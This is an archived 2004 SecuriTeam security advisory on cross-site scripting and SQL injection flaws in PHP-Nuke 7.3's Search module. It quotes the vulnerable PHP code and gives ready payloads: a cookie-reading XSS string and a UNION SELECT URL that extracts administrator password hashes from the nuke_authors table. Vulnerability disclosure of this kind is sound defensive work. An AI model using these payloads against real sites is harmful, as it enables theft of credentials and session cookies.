[UNIX] PHPNuke Multiple Vulnerabilities in Search Module (Comments Search)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/04

  • Next message: SecuriTeam: "[UNIX] PHPNuke Multiple Vulnerabilities in Search Module"
    To: list@securiteam.com
    Date: 22 Jul 2004 18:21:50 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      PHPNuke Multiple Vulnerabilities in Search Module (Comments Search)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phpnuke.org/> PHP-Nuke is a news automated system specially
    designed to be used in Intranets and Internet. The Administrator has total
    control of his web site, registered users, and he will have in the hand a
    powerful assembly of tools to maintain an active and 100% interactive web
    site using databases."

    PHPNuke's search module is susceptible to a cross-site scripting and SQL
    injection vulnerabilities, the later via the comments search feature.

    DETAILS

    Vulnerable Systems:
     * PHP-Nuke version 7.3

    In "/modules/Search/index.php", open the Search page and the XSS can be
    exploited by issuing: http://localhost/nuke73/modules.php?name=Search

    While entering into the input field something similar to:
    1"><body onload="alert(document.cookie);

    In order to understand the SQL injection issue, let's first look at the
    source of the script:
    } elseif ($type == "comments" AND isset($sid)) {
            $res = $db->sql_query("select title from ".$prefix."_stories where
    sid='$sid'");
            list($st_title) = $db->sql_fetchrow($res);
            $instory = "AND sid='$sid'";
            echo "<center><font class=\"title\"><b>"._SEARCHINSTORY."
    $st_title</b></font></center><br>";
    } else {
            echo "<center><font class=\"title\"><b>"._SEARCHIN."
    $topictext</b></font></center><br>";
    }

    What can be seen from the code fragment above is that if the search type
    is "comments" and there is no specified "sid", the SQL fragment "instory"
    is not initialized. Looking a bit further:
    } elseif ($type=="comments") {
    ..
    ..
            $result8 = $db->sql_query("SELECT tid, sid, subject, date, name
    from
             ".$prefix."_comments where (subject like '%$query%' OR comment
    like '%$query%')
             $instory order by date DESC limit $min,$offset");
    ..
    ..

    When we reach the above code fragment, the $instory variable is
    un-initialized and the bug allows an attacker to insert SQL clauses into
    the query. Example:
    http://localhost/nuke73/modules.php?name=Search&type=comments&query=not123exists&instory=/**/ UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
    Vind.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] PHPNuke Multiple Vulnerabilities in Search Module"

    Relevant Pages